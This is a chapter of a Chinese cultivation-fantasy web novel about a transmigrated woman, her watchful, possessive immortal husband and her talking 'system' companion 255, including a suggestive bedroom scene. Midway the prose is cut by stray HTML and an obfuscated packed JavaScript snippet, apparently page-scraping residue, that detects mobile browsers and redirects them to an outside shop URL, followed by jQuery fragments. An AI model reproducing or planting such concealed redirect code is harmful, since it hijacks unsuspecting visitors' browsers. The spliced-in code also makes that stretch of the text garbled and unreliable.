日子一天天的过,索性修真无岁月,也不觉得时间过得快,往往一闭关,几个月就过去了,再一睁眼,半年又过去了。
芜灵华有他的事情要忙,祝青瑶则要了解世家相关的信息,大家都有事要做,不必每天腻在一起。
某一天夜晚。
芜灵华商议完要务后回来的时候,自己的妻子已经睡下了。
他静静坐在床边,很轻地用指腹蹭她的脸颊。
对方依旧安然,甚至因为他轻柔的触碰微微舒展了眉头。
芜灵华不禁泛起一个微笑:
睡得很熟,也很听话。
他告诉她,灵露每天都要饮用,且不可多用,她就乖乖的,每天只喝一点。
这让他心里很柔软,也不由自主泛起浓重的几乎化为实质的怜惜:吾妻、吾妻,年岁尚幼,不过区区五千岁,顽劣贪心,又纯善至斯,让他心醉。
他冷漠的面孔难得露出些温情和痴迷的神态。
自己妻子识海中的那个东西……
于是他不再凑近,只是加重了力道,在她唇瓣上流连。
祝青瑶眉头紧锁,她喘不过气,脖颈、胸口有一条蛇,鳞片刮得她生疼,蛇信子带着火,忽而又变作了旁的猛兽,吞吃咬她柔软的皮肉。
她忍不住呻吟一声。
直觉自己被困在一片海里,海水,深不见底,自己的胸膛、身体、双腿被紧紧禁锢。
她并不是未经人事的小姑娘,神智还未清醒,身体已经迎合,感受到对方的欲望。
她忍不住呢喃那个名字,“芜灵华……”
有人问她:“叫什么?”
十指紧扣,很紧很紧,枷锁一般。
她惊醒,看到一张渊清玉絮的脸,目光沉沉盯着他。
祝青瑶轻声道:“夫君,那么晚了……”
她话没说完,便被芜灵华打断了。他“嗯”了一声,将她搂在怀里。
看样子他并不关心祝青瑶那点琐碎的疑问,“为什么那么晚回来”之类的,只在乎对方有没有甜言蜜语地喊他“夫君”,而不是……只叫个名字。
芜灵华。
他闭上眼。
这名字虽然好听,但亦为他不喜。
——这世上好听的、意蕴深厚的名字多了去了,大道无名,强名曰道,就连天道都要起个名字,他亦要有个名字。
但是这没什么动听的,不过一个代号。
最动听的是妻子动情的呻吟,温软的呢喃,亲密的喊他“夫君”。
祝青瑶忍不住脸红,“能不能今晚不要了?”
芜灵华抬起头,“为什么?”
祝青瑶低头,心想当然是因为你来得晚,255在我识海里睡大觉。
一会……这,该如何是好啊!
祝青瑶想到255懵懵懂懂醒来问她“干嘛鸭,干嘛鸭,吵死了要不要系统睡觉了?”的场面,直觉到时候肯定像一个被糟糠系统捉奸在床的渣女。
多么尴尬。
哪怕再动情都没有感觉。
她听到芜灵华叹了口气。
祝青瑶眉头一跳。
这男人生气了。
不愧是仙尊,直觉比狗还准,马上便察觉她的推拒不对劲。
她在心中暗暗骂了一句,马上狂call255,“快起床啊!吃早饭了!!”
255梦中惊坐起,“什么?什么?开饭了?在哪?”
祝青瑶面无表情:“我要和我老公做饭,麻烦能不能出去?”
255:“……”
它窝囊地锤了一下识海里自己的小床,“搞吧,搞吧,你们关心一个累得要死只想睡觉的系统吗?今天说了那么多这家那家的信息,我拼命帮你做笔记,换来的是什么?”
它碎碎念,“哼!你们大搞特搞吧!我走!”
祝青瑶脸红得要烧起来了,“快滚快滚。”
真没眼力见。
她在内心尴尬到恨不得脚趾扣个大别墅出来住进去。
但是眼下显然没有留给她施工建房的时间。
还有一个不好惹的老男人待在这,要她哄。
祝青瑶心里想:小心眼,重欲狂,年纪那么大了,不懂得清心寡欲吗?
芜灵华眼见自己妻子识海中的那个东西慢慢悠悠出来,又慢慢悠悠出门。
它在那自我安慰:当系统就是好,当系统不用跟人困觉,更不用被老公大半夜喊起来困觉,比当人美滋滋多了。
只是……
怎么背后毛毛的?
255飞速回头,对上芜灵华的视线。
卧槽……他是不是还在看我?
255心想:不可能,绝不可能。帮助龙傲天的主线任务已经开启了,它现在权限高得要死,只要『神』才能看到它。
想到这,255不禁挺直了腰板,又怂又大胆地看回去:
切,你小子,是『神』吗你?
看什么看,又什么都看不到!
果然,芜灵华并未再将视线投向它。
255飞速逃离现场。
大千世界里的人太古怪,尤其是这个男配,更是瘆人。
尽管255很不愿意承认,但是它内心对芜灵华确实有那么……嗯,一点点,一点点害怕。
或许是因为他的眼神?
永远透着一种不容置喙的高傲,比月上中天时的苍穹更要深远,就像是不见底的渊壑。
偶尔流露一丝讥诮,几乎让人觉得他要扒了自己的皮。
总而言之,是一个极其不好惹的存在。
255在做任务前经过了长期培训,见过了许多大世界、中世界、小世界中形形色色的人。
可以说,识人是每个系统必备的技能。
这门课255拿到了有史以来系统考试的最高分。
想到自己的成绩,255不禁骄傲挺胸:
见到祝青瑶的第一瞬间,255就知道这是一个很有包容心的善良的人。
底色纯澈,恰好还特别逗比,和它相性很合。
因为它也是这样的统子!
果不其然,它在和自己的好闺闺相处了五千年后,成了家人一般的关系。
而芜灵华这厮给它的感觉非常不对。
甚至有些时候…会让它心惊胆战。
该怎么形容?
——邪异,对,就是这个词。
这人带着一股邪异的感觉。
据255了解,当然,这是祝青瑶探听到的消息:芜灵华身上似乎有些旧伤,浊灾虽然已经被此界天道干预,禁锢在那一片和南云大陆接壤的大陆上。
但是终究还会有漏网之鱼,时不时侵染此间大陆的生灵。
芜灵华作为天道亲选之人,自然义不容辞,身先士卒,想必之前去北境斩除妖魔,亦会受到影响。
这应该是其身上邪异之感的来源。
因为更多时候,255是能感知到他身上那种自然而然的高贵和傲气的。
渊清玉絮,带着世家子的矜贵和礼数,亦有这个世界天道的威严和清正。
应该是浊灾中的浊气所致。
255晃了晃头,完成了本次推理。
就穿书局传统而言,系统接到的第一个任务是非常简单死板的。
说是“任务”,其实没啥难度,更像是一次系统实习期的模拟演练,都是非常模板化的世界。
什么恶毒女配逆袭、龙傲天称霸世界……超级套路,根本没有什么需要动脑子的。
譬如曾云开这辈子的剧情线:
出生背负仇恨——踏上修行之旅、拜入一个小宗门——因过人天赋和掌门之女定下婚约,后因意外灵脉受损,对方毁约——他不慎掉落山崖,捡到神秘法宝……
这种剧情,但凡看过基本龙傲天爽文,用脚趾头都知道会是怎么个发展,能出什么意外呢?
于是,255潇洒离开了。
…
芜灵华不着痕迹收回视线。
送走了烦人的东西,他继续逼问自己的妻子。
他说:“你从合欢宫学来的那些手段,为何从未在你自己的夫君身上使过?”
祝青瑶忍不住呼吸一窒:合欢宫里的那些手段?</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303590|198568||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
什么手段?
她也意识到自己道侣不对劲,很温情地问:“夫君,你是不是心情有些不好?”
她这话说得委婉,其实就是问那些“浊气”是不是又在影响他。
芜灵华不说话,呼吸滚烫。
对方不回答,拒绝配合,祝青瑶没有办法再追问。
她的理智和情感仿佛被分成了两端,一端在说“真是疯了,疯了!他在说什么?!”;一端在说“没事,冷静,扮演合欢宫女修,不外乎是些双修手段,有什么难的?既然如此,不如更刺激啊。”
拜托,我又不是艾莉。
祝青瑶有点无能狂怒。
她大概不知道,她的演技根本没有那么好,唇会微微撅起来,忍不住咬下唇里的嫩肉,还会眼神乱飘。
就像此刻,看似柔若无骨地俯首在他怀里,像是温顺的小猫小狗,其实呼吸全乱了,脑子里一定都是鬼主意。
不过,他既是年长的那一个,理应有更多的耐心与包容。既然她执意不肯吐露半分真实,那他便陪她将这出戏演下去又何妨。
于是他不再言语,也未继续迫问,只是原本扶在她肩头的手,自然地向上移去,带着薄茧的指腹轻轻按揉着她的太阳穴,力道温和精准,仿佛真的只是在为她舒缓疲惫。
“吾妻……”他在心底无声低叹,哪怕心思九曲回环,在他眼中,不也是个孩子么?
祝青瑶感觉到他的指腹在轻轻按压着她的穴位,很体贴。
她深吸一口气,闻着男人身上冰冷的香气,娇声道:“夫君,那些手段上不得台面……你知道,我出身卑微,虽然进了合欢宫,却一直想逃出来,你知道的……”
她忍不住啜泣起来,假假的哭泣,给自己安一个误入歧途、身世悲惨又志存高洁的可怜女孩人设。
不好意思,祝青瑶在内心痛苦面具:这已经是我演技的巅峰了。
她多么想在内心呼唤255回来。
让系统给她开个挂,毕竟系统可以真人代演,演技非常不错,然后她只需要静静看255应对即可。
不是,这也没人告诉她芜灵华会整那么一出啊?!
我现在应该继续表演什么?
慌乱之下,她只能凭借本能,用上些模糊焦点的小伎俩。脸颊在他紧实的腰腹间讨好地轻蹭,身体软得仿佛没有骨头,春水般柔柔地贴着他。
挨挨蹭蹭的,双手环住男人的脖颈,替他宽衣,“能不能不要再问我了?夫君,我不知道你到底怎么了,但是我只想让你好受一些,你也要疼惜我,不要用那些……”
什么锁链、器具、药物,更是一点都不要出现在她与他的生活中。
芜灵华说:“可以。”
祝青瑶注视着他的眸子,终于松了口气。
索性直接开始吧,欢爱会让人失去理智,也会失去追问和质询的欲望。
她的声音柔软的像一块锦缎,可以将他的心包裹。
芜灵华没有闭上眼睛,他一直在静静看着自己的妻子。
自己的妻子有着芬芳柔软的身体,有着温柔容忍的心,但是,却也有着“神秘莫测”的来历。
不过真的神秘吗?
也没什么的。
只要她一心一意,深爱着他,这一切都是爱之外的趣味。
他根本不在乎。
不在乎这些隐瞒、不在乎那些游离、不在乎那些她在意的人……
他都可以不在乎。
芜灵华后颌绷紧。
黑夜中,他能看到自己妻子神魂中,那根红线闪闪发光,那是他的情丝,他早早系在她的身上。
无论逃到哪个世界,都可以……抓回来。
他觉得很安全,就像几万年前她根本没有离开过他一样。
祝青瑶似乎察觉一遍遍的巡梭与确认,不耐地嘤咛一声,无意识地往他怀里缩了缩。
芜灵华即刻收敛了所有神识,神识漆黑如影,被他收回灵府,刚刚所有的窥探便仿佛只是寻常的凝视。
他手臂收紧,将她更深地嵌入怀抱,两人身躯便贴合得严丝合缝,再无间隙。